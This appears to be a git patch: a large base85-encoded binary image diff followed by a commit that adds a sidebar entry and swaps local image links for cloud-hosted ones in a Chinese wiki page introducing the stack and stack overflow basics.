zxCu5pTknp`K!x@P{pS_HQ$-#haC$?L<0}NOZifKF|5cw0xS`fxu6g`gAo$eh2V5Pc z<+R=pZoTgoX5T!GlxW{h zH_l0~Vy0M>ufa5jax0-Bz_HW8&-QdX8yHnC9?3k8MD3jRy{qZCU(y?Mzg=xh&rSQl zr+(Ny;xli4NT$eK!;vk`1u3Hk#TJz|lrB^<4=}!6Y_1-tbzL{oSL$zGBLyA#*&Ed1 zve;$uIDU@8Wgf|KoFVp^ye~fkF{f*I>$^VRe>l4pLb>dmBiNXP`F6WGo~=6{P4l{% z-7%Y=iQj$ej{D|!9|Ct4XER|+j?H~l&>}&2FE0fRlI|sqtPkee)kgdd{ zYUgy`Cx`W(GpBPs&CI9yxAl1P`*$ll-zVjLPp#uBm>mrP7<31n8x8D1f-c+FAkv~7=`Jo8?@qrD=g*QkZNjdJ z!BkacpLDQwdAjbJa$TX*3%*@7W*od%96@`)9%oJ&xu*%ra99((t90o}NG zPoG|qR4m6vKfZ-4n0eBe{-w%X>zKG)?+$`wYhE<#^(Ld@qN`_mW*7;(uye|++30x8 zCICF$>3_V>O#{519GWTNAQ}veP#KMWnP@M)x^dt}O5_|tLqmJ!V2T1uG4gsin_F8w zJv@#(r;B?0gC+(4-CWM-a@UqCz%JNuE#x_mv_xu^)(-BRTUcASYt6S#Dhld0yXvBM zCdv>SHZ>%zkW$yl(5SAy8B}G{A0`;rY(?RQpmJKTwrvqu$PzPxHS;yj=kZ&d6_;Co zXVAh?vqe{NIL9K1|AkR-sKz`36^nN$fla$^)b^*kss@gFOQg!h#)zH(OB&*@?OJ&` zJhtKJ?RqmpLX*7B74I@HS4Pe<&rWAEZ-vAo;v<3Qegeq3UNq1D3d%sl*?JxVY4{gd zCYii7x|h1Uy}S8OajeVBi9wi!#uXbi^~t;?ey$A0aSs-Fz5y&>3*@44MeK1$Kplq? zhCd-JeM*63Y=n>qJyzTSHrlO{4~bNOiLQ!wQU(9(%6$;GfX8Xk(G>5KOH~m#nsNVn zm7=`7F}_P2tf|c;P|Se^?$rYRtcBtG6R|VHXE?d6V&>l*TzuPoioU=1rYe}qO+-h# z*S#jz#^dQ`v2zjUXZV3ip1P?~hMWX8b~fEdHMJ3>8ppUK!DE^X*k)9L_9OvxQF<_j z?B`*Qe_+4OC7D&^%rl#bWLsvl@|ig_{LOr!xf6_cmAvyXk-F_Vaje07{l;GHh9jI# z|G|^l{+A?Ra#SpQ5)HAHpwn${a~aQTZGSAF5j%Q6{^{s7oKRmeSRNzwmlNsVOeGES zNX#M$+TTJIfaeUUW1vOPx2`C&AosIPtPujfp_QO#tB${wIzF$v>$FgNf*Wi-u=%HJ z_{}mxg^hVG5gjYg-AzqwoIDeCG@K1ITFMkOC}Mkxr5(>APk7vG(;3SRz{#lh>tlz1 zXF&pnb;m*08>_2_pzJDEwfudynzLe5v>DlGDQYj@ZNnMDlpX|B!{2Mqu2D!gqA~I&r0A85>0l692NvObw|5 z)_`)1OqgC~)4G#aDlONDr_(goY;zicwyWghl_=L!N1B_G#N=0{TLd&_%!X4@fxPAx z)>|A1n*7==QVRb5?fwva`_P0)BjWpEr^&Twhmiiu4ZejoJC~ggn=wmUOhbO4e3F2( z{xXkaOj?QhQn}crg$_{y#z+c>(k#J$$h}9^DsT;q!lZ~*)UzeAQ9RUzfr)R62hPqt ztIEbwr;2%ER3&Q)4f8>wtn5{IWsQPZ>?!WTgUK2)+Uzh2hn_HcZFwMvm!{T|*r0~M zzv{<`qJv(-q$#H>5(tB6aHGr!hlw9EB*<(E5vCM+-UT>wci&KL>>@)?f6HXp5aF`- zd8ycn*8d3$wf?pUxpwpyV^0e+YB|Fyc1}r+`xl?#F-9m5SN^q6>3icGr>G_!v9bpZ z4$0|POz9I z`mh-!M$n0pa#C5fs;5RwrVltYm%x%~ads%-$E8X*-VMZDsr|zuE>ar(XT5Fcch%~# zld<*|6NAQ|kTOJkKvjeRy&MRFo#EjQ~j$VF6P)Wh6Nb3mNgQu5@7#q@xnNv*PLMMuoOEMRC+` z!&Af$r+-6YBquWZewR!xGoN4qj1#NaL}G)unl8=uY~KbU!c|WD`z6hotS>f#xC?q~ z%Y5N0d!N}3JNw$b6qhW1m&eQv;@m-p`bpf2#~79$=mimoLOg5 zL^jS4E5d{$bwVyW_M+#_r4tuHL7&^@p&$CUF5*wQAVrWzRL=}h05w>%hZZ!Fu z(ndM*vPc;OSt#+x2v35Nx~{D}p3-a^GXILHF>{`nwpEmS>DTCKX$B#>X$(awr3((EiRva)VNAPnW7{`)Uxf z7Y#}bN%Ipy$ws)+6yfg)uuiYBQZCKK32C#Dm9wRoe|X^eXbZoOv zJnI$m#`LzN+?Hi(Ysg-{AYe&`M{F8@GNP34%X8N>ih{-JG|Sdd>Ry{_LQqohNi>*t zm12mXrE`a|T2*K|9$1+YIzfJK`1${-9LrRv*;I-thSN}rhRZ5$s_7K1$T0-P`Z^`xiJ(YqDKb!O+pr)|d+ls1 zi^F4r^qYLjL_;B?2}rK|s{nJOOgjWAhEeZ8WWy zs7tR4)A8op1lEa+9_pDclP2xVUCTMyYU#1bmgf07XghgDizD88M28 z0LgEn{Ck4raFl?|f3Q)kZksfeB!b_edIFVuli7lM7&VgAt4$ROEj?NLVl{lC2@Hm@ zOj>=+$~b@YP$eK&`~>?E>ce7Cu{51kSs<-Dc1pzs-jrUw(WkJBuE!w|U25dC#vno# zJakwsxlqGZbl$Ux!3AYr>G-$Kgv2uhCF@MYx+hUG3n==H%@w~7Ob>lGMcG79gs|K$ zH$&)eBAOJcwP?87_s4|6P!7m3yygp;Ct3xUy8@nR)%(N(QCt;bEc0DLVrDDpXs&R$ z39dOoQF*??CPYQgqjJ5)q|#(!lC~;dOIyk$C`vOFh9D&f|L3m8$OX_Uth-L2dF@}= z8z%La7`FRJE6f=PRQxTV$+`vGt<}(lo$RaMER~1{KKLv7yTGALk_!`{u)!=bo(CT} z0!1Xkc$n~4l5J|9(XkoL2x(%#NFNZ>o%ab0jJrWnL{LRHlHs>dU)T+d!SU^-uw5lW znRgVbC0UEYevycply#Bu?S4^}mJmb=Zm#L7afpCal7gXY_>8KpVbti3Vk-I~=@UFk zeLRbaH`Mn+$)F#$=d%yR(g%=u!#&#_Vo4p0hTpgfh=;-j$|kySPF=ZLBjkQqRQ;g* zh_qlp{&khjD9X!Ur&-)+mZGOoP=6evO%xb7cJBbx9TWRTNO+)$K?M})4S^BL;0PBy z%P0Asb(uK?Y0Kg&G=-~C1T81biLJdqMV*aC!%;axOQI30E!Y|ATn&JIH}EP7taEto)9l@F?I2!C>W>25zomuy!6JhG7LneZXN-*HCbcusLWT5gk=$n2IES# z(zBJ) z5~}3rvzptZ_~}5C_6bZ0M@koc>51_3zDd#FA99&}si5qG?G_40F`iXG9Xx1K0CQGv zet`J1A_`VCry%l+m4S?&R$@Q?yn&2_ii$jsa6<3lu8T6|{RydHfCVXu_D%G@x0x(2mZ)Q#QuT zwxJk}Ehg!>(Vu*799AfjuVreXK976LE&WR}jLji@@mGPZS!8L8)mc$qJ@JT(9h{P2 zejL#d&9ul5<~NsA5jQzflusE`1vl3Vr z1;oL9=fvDr4N@^PBp~Vsj^ADEL9*pZLT1f;IB?S13f+8Kw^E73R<|kWuycts8s=;) zR%n7%PduFo8@1)WJa8pk4k%1x1_iVbJ&gsI-mGn2>wlfZB|J5R15Hkbis~7P*oEOC zQ(%(duVb23<9a_RiMY^(;1w0ktud z_Empg%6^XQc!;lp%EU23p=u1HX>g%yVC=%sW83ItAzv0gK2Tm5UQ9_S{UQuYV=zAr zaS1AYGH3uvh_&Xlc!dX;qC-aTcF@CW_w{L~%wCN1R)8ptcioeaa{BYFQ%^pbi7jTz zyWM-}c*kNSM_L)g4{h##GN_}*jhV3wj!Qh?RYb{WPsfgh9;Ht4FU>4|xt{vCxKI|+ zB1zT6wrYMesHs{r83S2;hyGkH3MSt}b=IlZMXts}EU&Gp!}Q-!a-QaScW(B6_HLTw z`mzZ0QPrAf>&Y9^jXN0|_nW0Z$wgRcyMH`BOvcDc(Y5`K>T>q}NLMB&A~8q|LO}dM}2p^w{M^{N&VQdjzLMRWt~dd6Le$H!L~TWQWZrrSI`Oq zq21C$;IkkFloV|ffJWZ zrIey>$dv1^)LF-}YV)&+xO~vW(fca4!Kf!(eqk^YJ8(Af;oQQu1=!@r!VfukcT!lU zn~EM}6c5s%bGCD=WKSTJP@4Q}K>BqbB3-k$v-~I?G}p;Utk#v@toKWQBNL%{ab=(E z1Vu)5$@}RMX9-L|=01g0Q5+^8Xa*X;8ykP*@$KqsAZp4DQy#Pd;*6K1>0L#U`CgD_ z=V@CI9`bXV#QEP}#>)}>)xba6#+&*8%Lc=$W3O>oE$A6*4)k~UwGYWUSP3hc(~xo zL=K-fTdVY_KO@9^*KOrpyt6r6T(LOFbN+O>S#_2X&VpR;l+!){U)RLvMdNK^0S$Aq zAy8x{o&;KrhKoa7OZajKm+S3GHWB_asc4P1Q74NtCXe^6b0x49tW4sh<+@H=^~B6< z%tLbI;_ZmDRhgbujM#pXBE0EsNc|Qp#IixX0ugnKOv6DzK{pJt_!%hxa(cMN7vf|zf+FVmEv1)OPg%R>l7exU>g=h&`8vy zB3Up@4PiQ;9y+?*zcxXc+iOiHI=*|Ib6gu*5vzQyF~Ob*No2^5vf8v%Kj*2vrSkMt z!l0ApRS^(Uq!vnHf|Q7!k$k(;pxu>j#1s#Mmj^hsCs@-vD1RE^Wg&hV*gs7@WCCv% z%@Rc6e+OE!PS=_25%4;D0r-?#k;!ED$~|Sr3?xBhpM|KC-NPzv=%*(q7N`bgMzhs= zZKj#3Dq2FU`&XDyU!93el`zx4KcCsS2p;jz0Umqbww`5kLdMBug{-NKUk5&7Tqa@5Nx+yfv|j{`9kgL*-=bf^%B(4wkKE{-}lK1qN_i^QXc zyhR(Y52AaB{MG(d&;a9@_EI3Nk16n->{pf8WFs?jrGki&#=*4Sj`|OSUOFxG@L&}% zU91^gSB~;nvxjJrqh!=I6Q;@^Gxfm}r+W0}5z@xn9W`fOELwL&wWaH3xI$|UGjDqX z1~gy-T5niF(WW&Mk@*kRj*|u)f9NqnWfCwS^2aJg{q3Co9>`s(x5=WFG8YZBrZ)US zc*}2D`!tVc^nQEOUZZIL{b*;!PtJ|zBjd+YU?d>3xcU8P1^t6~-1aP^$#Q6KrlVX$ zMKhU5L?PV2m+WppS1gewIzQYD`5=o~EKbZAOm(Soar9wzV}sZC)kPwF2n|rjMpT}8G;T_7@`z~ic(1{I0GSItDzQ1@CeV3FK|KzO2F zhon(9QyYgfrMDfUc8&cQ8#20)5sDNS{&n1vFz^1TybN45)tr&(hgDIwyR2?K3?T_rl zbZG<={s@^DWy>K()m;-U+Db?8A25o5jk#{B$uif-ru{5X0yf6OZJsV4FWY4zDVqZnevKabr3o(~zBX zHX*9pJ6O6J+D_8<&;gY2ko`ZzFfeD;om^VHR8ZwVu}_;at)5-e+(W*40xQXOn(mkq2WUo`n8gH;W&x_UBL_@Uxz0P^DYjaC>A%!ep0ex7l6){+( z#ajxZ$YL^sk-D=&vxGf(agy?5G@y1*ctoB-J_U*qT10qHM1|;rXJJBte?A!^tiXvI z5+|{dkz9V;wnDQWE8S6t@`sBueGf58dVJeKt#0|Z9u=sC5T7>MC@M`$gx;bYv9f60 z-Z>!A(7ZQ_q!KL@Q7!n0G@Tep1SKL0>P*Tq?Ft3t6;Iw`GOq0jiYsM|qN^o_QZKPs zQ=|;jUoF8YtZyDQI=f*4SP8)_r#(cJ^jz4h6Xv0^1KUNWk&uP?bz>-~4o=6KK%{R) zP{PD&8)B>TG+dqNU}X&fWW~;?700i5MHu0Hs%)9}SyaHEbFwQOaf^`gt%dXCH+N-@d$}+WG+7VCY;yB@wGgXbBWRQ9b9M!LTWJ$Q>Gl49BXO zBLcS(Wd2I?7di%q@jgrlQrf~|!**90O8LJzuSZ$o1SD&M-;jhMFcK^)BO<92s$B zz?X@Ot!$KLE(RM>O53H6jNB08QGgc-9dT+_K#0hXY%74YVDOCmd-344={n9@TF;n} zmYLtWhL`;=LuPA1giLwvrb<~MYl47_S|F9vj6{Yy53DFfV=f!v(=_-dsAP#cNOX#Y zj+C$)>w`pUEj0ReWY;bkE*O}vLMFrI*fH{VE>&_!9>nN9xiOZAj-X`hHn~o+MLbC) z`k;R`y(V{!+n+NYmO+UjoW)HiD}21L(jrr)g&$9;j(~7Ylfk^AgmC#`!TEq~t*K%n zCzD87iX~`SVXRQb3Xc6Z2AM__!`gL@W$4%7{P(>d@UDgoicmiAS@=jPp=>Sj97YIz z$f-c&jjFKYM6P0R?tC(`^8sp;q!DEU7z+j=hx2es(oFg`WBy>Q0qEFJ8za|j>nrrI z`Gmxsrx|6Z=NZuw5lgX1n6fqMAnEL!f3~-1k>!rnOJ}OGwlK0{jgcrBC^T;NBwAKR zB)*ew}Fr=(U`CcwaMxCHb6R4lf;(zX6b~-UegRB#8*BC$y%z-JJS# z`4UY};;y~}F8u(1!3ah*Xz88baS43G!p4>(7E1S4lP>LVYdOXf33+_>+O3kq+_e{b zZu1><5Qot}k1(kDRaRc%LbRniX-od>7&kuNJoDoVRFg8|$U>@QC57P0yN3n^a~N@Gla0dfb_Q@!M6>m6akf>Oh1-;Qn*3|Ai1&PYsB+i-zaRa6{J)13ga6OhGn1GMrN3o;I{^EIUYc$r_vFZx zzMv|sGQfe966I7XoZQ+6_0M(eM2|GytguI^L=ZP2$=1A=4Udqk4$}q_hZMX49=Y^H z#R6H--KvBO+tP_VN-$%2MMErl1l)IE`L{nEx^5?1#Qy|3CB@n|C@wh}5+^tp!q|6CzCkg8f0>wlgnu(w9`)b167^8Y5I#ZFNV8|>OiGg%T6c~2#`=`v4R4Kkyx@+nY1sUINGQh%3M@!XS8w`6ljcC z1?3gx$%v3+Xgg`XEZHq=I)0p{HZ% zr*Xc&nC{iS$&@ltdC_yEN~0JAZktfI#99)c=qu@ql+F{2Mnnanmg=fzX_=jH zG^E*kh(Tij)hJb~RG%S2jETEahE|2PowQxcA_!mk#qD8gS7j z?Nfbiv*@B$C4n|3Z<@$a5fUduM#(9T)H%e;7>d%k)@!iVmd;PD&0H%6b&NuqqEFtD z51j*@tfNN7zGVW7Xb~yIpn$B=F+}eIlCh>_cCKwC8Vyz@U$y~2gk*{&S$aVXtlHS= z-4o`);o;u=)(7|R-`fY$3d7Est*1VHv27O$K{!KIC~ndfKsd6|wj-yJ*~GvgI{hF` zNN!ptoJFrS43vsmE9M0Udgq-h)uMX-g{Q{DY+B9pOlzIEhBegsNQlc2%jEFr>f84~ z&As;_=2@Q27Dw8~=U;fLHy8#lNJJE!pSw__W@Cg|QpE}a6Ol1!yQmB*ru02V64Gc{ z8LM;VrcGbYv=rUL@}E72P( zT7&nVC_UqyTX(O&xu-(Wwz9U_zxd?2;kvb1dAL9S@cNCz`{iZvFy>ctF`H3AZOdwXkmbsoa4>AL@se9v{*Uw$p-Z^zPRbx84M8y(45m4$A5@KhD z!8jMSCz(Od?l~b$U~R))oi?2PF|uNkkH(LHpnYFfV$d)MC+=xekfOB9P(e zM2Rt)`PV(Ntgynb600b}UoyIY{L%xh{Rh`>Ld5mah6?b()em3&vsbUZ_aSh`KFiJe z|HIyQ@5YhjX@*Z*zF3w;Qgo6?*=co8_n0+zSYZFWx7>S!yS>{pJG(RO)h$sHDSBVt zSEUJi$YRg!6HE`#;D>}Df`w#MWMurlpZkJ`IGP)%m_3H z7IA^XG6vXCs7W;A6j~1R31EsF-%c^&7zHI)j98MJ`IIy48VQjh$PgotiXn!?rk;_Q zhg!q{Xu_~7xmjF^v4$qG85mfJ7mg)Bp#gESfFPSq)X7on_IgsxH?}r*(&-ErbD?IA zOT$3#zdO6V?i)pv1V$rDEg`g)iDgCFu}KanPsYX=PB0eSXkjy4)FR6R-^eTvElT`2 z5>mv37+{di(m)X@G``EMXpuPiiop7Db^U2wGYpt$sRg9xk|q(O@(jfBbl;wR-uh7uyfFJeMLMphkvUNM(@9@Bk+c zt>FkpS_KpnhCCg+1f>ALQq7c^A zGHa_lONEV2Q@(rKi2`3l{?+AR|HFAIz4UPVB|-VG{&;lsv7;oE0!RTw45dIuF<>mM zn3fb8hd>_zHwsJ~LJVAjdvS!+=Vd7DBdd`2;&W)}HI1o!)-fYY~)L zf3Q(3rU4L25Q<%kQ9>i3`cj4tOCgm~k)vV<8IR!<)J$$gzl} zg#2soC-=C=Ul#XKgr5a>n;P-FvO z8yF&@pkYu0t?*<&V;t-ynb{dWR+GZV62~eaYbeIQ# zien9s<@<#oWCltN$66bhcyAbL4@jRtZ6PWF7hK1YfCwrjMg!4UU7by3z~{t5Q5e{E zM)BAf!3ZG4a_rR3&ZCvpWiD0BLux?-1%OIQEtR%xA0ZIOMjPzeDTbg1QpQpW?K!S( z(@=y^Q7xe6D4)+oF^MCH6iZp@NKcK5Y>I%gmBbiZK!P~tuAQcKPACxvA%@6i9>QA5 zm@A=;UX&?7AtZ?Ld>-FiH~;a!d{HbHCv%NZLYgS@k%mS9N-~a{OTHJwu8X2M7BfwW zc zxw+`Cudg}87y(ZYPtT6p+YcW;-FXHn7jkO3C=wBXN+?K-Z7~M5ZDDJ*LCY`lTF~(j zIcfXtyEjk7GV{#(cGXXL9GtbK*BmzERu2L$FV#`lgq;jMAkXZyIw}1rN5EzO9bF9Ij6$#$D92rSgH%k^) zKm#5NN-T>yQfm=OV~9;{gb)w8hT5^y0T;~m5EL=j1i6%12;4AwXyVGz4e_HJOb9gka9gl?#>Qvk#-*B%iJx?Oz}S zmrD7gf)9Ek&^g5f(jfcati+up$uRs5SQg?svu-EHLX?#ChU#{niX>}u)Layz#wtbSi0A{IXOI; z46x_ghTQmu+@#hr@oQQeS_Nos6UA_332P7Tl_o);89+)47ak`2O-M-p={;BI&JeJL??#)$qGMV{qX}R{OP=S`sM*Yrw z98G(a*>XHtJ&&wx;MK|)@tvMfb#+{qVN_}&8=LMs7AR=TTqa`H>ViZM@28v-Kguw_eEiH{F z*A%;sSH@(Kv7#8j*!IBcM!|?sbCk~ID1(F1L~A3tBA5b$Z?0Nr7tP^doc62h>)Y9E z8r#w3dH42wh;6mKvm%9ge|FSq4Q-mbIJ>#Ixva00D$7fZq9BfuMvOX$A!C5+W+=7i z^AJ-_2uW^!bKPoxT-nH$D+L)bBk6nuF0R^}+f_>O?aghsbs7Y-Y}VU-vT70U!~Urf zBpAydzk8Rhh9yVF{3 zEU&DtNf{p=eGH>0Us!51>XuECiK6U2&v1`lHts3H&jAB~S&#y=Xdze>;RB-pkCf;5 zOF3I90W<|tV*pd0hYUG*cRZa=N|l^}0U-vHbGizbY1s&tGm9 za?2-&gZKO21z|s(&I~%!+v}U<)ii-NHtcZ!)OEdV!Qyi2IB7oD<8ZqF_SisaSzhyc zczM=-@p5PNK~5WR^xe8#oLft20uXfPPtb^+R)I5DMIN&ey8;b<^)9Y=8SVehcE zWZQlj`$)y+;P~Ce<)Pw)!eTcVw!3G9trzkoLYOhevopxpfBe@!jYjilpEQ65lwiTb zMR}Sbm@q~VVp@}ae~8^F#4%+6K#G9V>5jkq?(Nc2NrM<+12vgX)cMh%dDBk$KyvWo zcYE#Y(aTq>se>;}1v2 zADadaT_4?Ebq+pUY;JFCKdm{rpE@-#LNVvV!T93*ay$&Ku3|eyrHUs**}iFicz>c5 z@H}tS8#d3sefCLd_j!5F$D?lW?)!Is#vnGw1TCsofz}8?W(pQbBG#EIpg@6HuC}orqMu$p8hz6A5QLlG>dtR+oHBib#0M3mD0LFgWYh7IpC*8(M zJ(EdEAt6MZ^ONHfNQX+ncJrip+kgIIr@X9%P}kR;;j~q$=ToVy6nZkAM$sHXoz2@y zDlH`>fKhB95Hg|$m#a(12d%@y_nQwJ8OMeSg<&XSaeLhcFwSR647ohi=O@jNho||h zKb{QsKYVbl41jt(>iHfhmkT0RgYG088%^gDMzy6zE?u}jzkUB^e>M$)f!s2;S07x@ z`Rq5pcD+>RX7K*%vRKF>HlGaV-`&3buy>wH`w+#`+5GyV-DwV~QrXpJ`u6qd{{CUDma}p3;`Byw^yw$ReXzE6b=etp_mH7LV<`-VG>+uz%EQL$ z6O4QWJsw2Qo_w;pRwBeb{CM&0w{I>_ZmSg+8e4J`&Bf-Y4_6KH z>CWzErxpI||2#Q6zO1ioI|W}Wv0w=rK<=mT`d0bv4+p{5gT~5gxmqYJrCqBex&F=P zpZ{C@{l>=H&htvB+Kh=PG*5STL@evo+I%+o=F4~I$LHlbTYpj*&EVeNd&+_@KL49? z@qsa_-*4s$1Q{T?)Y=3yb#k`fyy-lD{%Ui*#=*H(8iK@ZE@&9k1_WVrbA2mKU}ykv zSgqx2wN=7=ts>5m=cOJ#-cDyIV~*r#Wwl(d`i)vq#_XG~-rn4_hy7`O$wMHD0#R#Z zp1*kPx%s1m=IiedD6yWu{Jc_2y?=A@=KIU$b-R$=ZeDjzjxKz6>Dh~?wdKs!#qjj> z>iVi#tb3KTn@|^+5Ew$p&dw7t_x9c%{Qmd9LAJ6iJe$djO)r;eyc>V3^ zyEpqwOP-%D5i^*M`VZDCn>!oS_aTE?M?B_~P>K;Gs#Yy@Ta}Z8^J-ypI2c}ET)+Hm zcYVFC=Dc37++O7OetbO(hJ#Vmc<{7ZDJdmw+a3?c;hY~F?0r0q5drCpxBKEzD&s@s z^H2bd7Y&fcvatE7>43i9`*?Ax-A1A-p69Hv{YDGt=kqZEfqXBJ7~*j;t@=hFth12ole=7b#Qw# z9Zz2U-4|tipFPdYM~5(9{^CEa8LI~k9`?pZ2Pa12Up@P*TCEYvKJ0&Z z{p0KNlgr1uj}ajA8GpLl*nE@&0Dt|}>&vUw*5>l=)0OFL{=*ONd)*1p6af^40k-VF z_EvI_d;A4)PZ9olSTtQ--(0tPEyt$)-bBgN^XFT>Pk>Sc6WeE-8*7+MATUuFU0z-+ z6_y+IMkKnFf~QZOyx%*#y>69q>(g=QI;mp563%5dUCd>Q!K^J}DUft**H35b^%}+_ zXrLA-mno}Yf~=v@PC`*wCZ3J5}4A%ZN=O)nM85Fp2LbD10s!)m1(1+infE6ZzF z&39Tt4E;EsGYTkGT1U3acAhNzKE1qXA02|tB1E?*6F<0>Vvj5@e z;L-NZ!>t{l#|R?;kydvp52F`t@q{u=m}|S(CJN3S+omK7j3eU-qkgqo%@-U@$5KuV z^eWZm+0a~_Ux#y?%NCnA{rNPcI8U)5m}S$2w4XDYr2QDJ38jgwm~z%~>BG z@3;HC&i3Z^#`;Pe&yXgA&TYTf+S%FiQ;q_IIGzs%-E7g(I&QU_7AY?;mr8YeJej?D z`_6KlXD?nF0WYpvQ9L6=r&8AHYFQf&kwSntRw3=-5!a)hs8kD+LC5woz(7j9=FRNp zVo)tTSXJ}sqf!*CzwpqW|&E@=TCWA>JWvn$I#Bd%-Aza@E8ck+Fr`^wIOCmPSn=YZmu{?`8 z^H~HmT(mW?daXfefFN`2lxqdMJI??dxvo>l6*{dM(3HoVF?Qeec#mH;?kU30fkm03 zUda0_(hUnyAOp0JTpNKIfJ`s1SM%8imAVhe6eRYmPo6-R|uh zW%+IiXiS+U;urvGl7S{;(?)3k3|vUfAOn&MB;!E{B6KH210g`jNGTQ6n2-nS^~Unr z)m3l*;NT_6+Gx(joFSJn)@`@rD4vZc3=@j6QJPRHrSj+Oz=WlN^;35K^FD(q5<{p*(Vch zKooM%&DQG;W3=rMEr8=##-MI@Sg$uAAdc-~44DPF7K=rM?ph=OmY_Y~o0gMoK?YNjxWi z_`g3Qs9e{IqJ{Cp3mKk;bOXf6W#B@k3Fx23159E$AqGGhV}uk2B8Z_9f?#`neM2eo zZ~y*vzcX+atU zjlmchN_h|q&XrW9rKQ?(_Ny=dSgSM&H4HS+5;%@4r9zMZXtarih=d5Go*O)4HkW21 zB1%AEA)|*Oph`*urOnc_A$a}Gamq)({_NM~()x75kB=`XV}8mI;L5en>N28B`_0S7F`u&7N*2qGaE zV+st2;+O)iWMV&s5C|n)Z1EWbp^-`?kKj&d^3QAOj={uHEQK^WVIp@1OGr5w%tqtU z?$$=Gkc)Yg%V%n}^8WGL7w~bukWHoiRN9kL3LZJOw_I-=pIjh_3%SDI{QhsJ^ML^& zW72W3k^uy!-|P8KB~Y@loIgEPt=7r*S~?5^C8g^)MjNfP6pCO1pe7h=t+kP^m(fyA#$%h> z#bU{|3Rf5Bw>PcF4A(Kd)y?(R_V(l5 z9cob_I7ARYprHu)G~|J0+lNQTrE+O|d&5t;nOs&%HJMDLilvG*PzERsq%yHG+&~GC z)Icc1H4uw^Gx@DHccRe(0AO3LV`m9Wm6z6xW>P@gb}2T!kRpUKS?}@AgWvt` zvvkVY+xsyJ1C-brq$SV_F5)AAF=E*S5v9SLSW{??0U1I%r?!H~2%!kFJSU?B6dZS& zfeh0Rw_em6b=$H0l%GobK{y|dhaz!pjRsm7rA$JP4AdauNm3c17eAVXg@6!5aj1;S z<+2dLm`9%PuB-R1&f$sXQcKbcg%VL}|#uhT+XG@i| zf>RB{ScC{u&Y{sPaa$n=iC-HfudTKy_WHfS_4RQs=K#R}?O*?-Bu2>MLMx42KaDUk z5IVkRIX1H_%IGWzA;wB4?maX<&@7zC!F3%nK4ryPlD;}{N(b(-eJo1w>DRSnMyHb)M3Phnqg=gP3(kg<&1*CJWBhSl%GZb zN+Etyia^-0U1OjW8bfL`&*+4}X$cXe01#tv981Ph+0=^X6cf@4mE&3SDPPEJo3*tv z7sG@7_g7b!kV;5oBm${bI+JUxY&?DX=~A(Nb=~ID5N2`3AvRp{1@D97$#gcG0|?XE z3}q~xP5Egro%OT%l%KXO2PG>XbATg*_(FMFC%hR6g9JbdK$N_|aIq@>%p>n{k6$G2 zqX<6_{>%*ie-r^G=7*~YQo~$o7{km+8EGUJF5}{8fW#^+Sb{P6!qV2(&gpS`t2Hc? zo&KQp_J=br_{Qdj0lM4kB7~kjfBw7Q|DI7#ODm2e3^)Q5Q!Erucm_>ORKz1fXc$G) z`IvJQ&E|`~GM6$e6g1!`5}=G+2>(d%6D?RAXMmDDQ3C~WOpye@2x$l)VQ5-6U5muF zmC{DFS}oflu7@boB2-GLtIO+5&USqalL4hInu+Enm`SZv^QN`vR}_{FR#xgC-XFaF z_MMTA@01`^lgY49WEeV>5X*)T#hlOn;UE6~fBf?wjt}vp=Sz&Hqy&U8rHocWYlV;@ z6d(*@p(PL+CB75J0v7^etJEd1kav7w{V(s zeS6WCLAtT>&~W?etVx|@!c)F)G-kw|Pvd?s@v*P3`rXc;S}Xfr3IU3sQA$S<7hL&% z8Y4Ox&pYh_ra*%zm9x|$lLG*vgc*ZxuY1uPq|=xXyLo#(n~e+kI>8RcCYxuL6Q7OVu_3~KD%H82&VxWf4b6OYZEbyH^XmHA_p{Y% zl~5Fprm+gLz(d4L=VO3%LIp5~KtQA*HjBkCl81?se*i*vp@qNp#&VB){AF=Z5q>uO zM+m`~MRWjZ!mz=bt5882wrvt6W+6;`85pJbd&0*9R$QhKUKn!HZ8;3OP$D1(Ad}HU^iL@(;JSE-wzND=c3~ zLx6!!{8EU};y56oHAgVx(27E14G7Sl>ulUbMpGT4;T|=<{H4=N1M#nQV*F00Fs!u|?&~j~vU@Qbcgb;dj zb9sI^)8^Ro$#mLwJ@?7(C%`a_h2@CGTI%iVn^K`tC}shYQt8(}yt}y^`_{7SdXs7R zU}FnHHlNRymmA&Y@$1*$Q(HQgU(8n?K7RN%{_yee==AJV8>u00tdw)bb;hvgSrE<_ z%wQp6n$U$s6amQO1wcRLoEEV_b00*w$1fZIF8~1l{}uN4O~L^Rh5!Hn07*qoM6N<$ Ef Date: Mon, 17 Jul 2023 21:18:22 +0800 Subject: [PATCH 62/85] chore: update cos --- .vitepress/sidebar.js | 1 + .../6.2.3漏洞挖掘、漏洞利用.md | 16 ++++++++-------- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/.vitepress/sidebar.js b/.vitepress/sidebar.js index 1b73607..847fc95 100644 --- a/.vitepress/sidebar.js +++ b/.vitepress/sidebar.js @@ -574,6 +574,7 @@ export function chapter6() { { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, + { text: '6.2.3漏洞挖掘、漏洞利用', link: '/6.计算机安全/6.2.3漏洞挖掘、漏洞利用' }, ] }, { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, diff --git a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md index d1c4a28..dee1f74 100644 --- a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md +++ b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md @@ -3,7 +3,7 @@ ### 栈溢出 #### 栈介绍 栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 -![](./static/stack.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/stack.png) 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 #### 栈溢出基本原理 @@ -18,7 +18,7 @@ int main() } ``` 对于如上程序,运行后可以发现`ch`和`a`的地址相差不大(`a`和`ch`的顺序不一定固定为`a`在前`ch`在后): -![](./static/out1.PNG) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/out1.PNG) 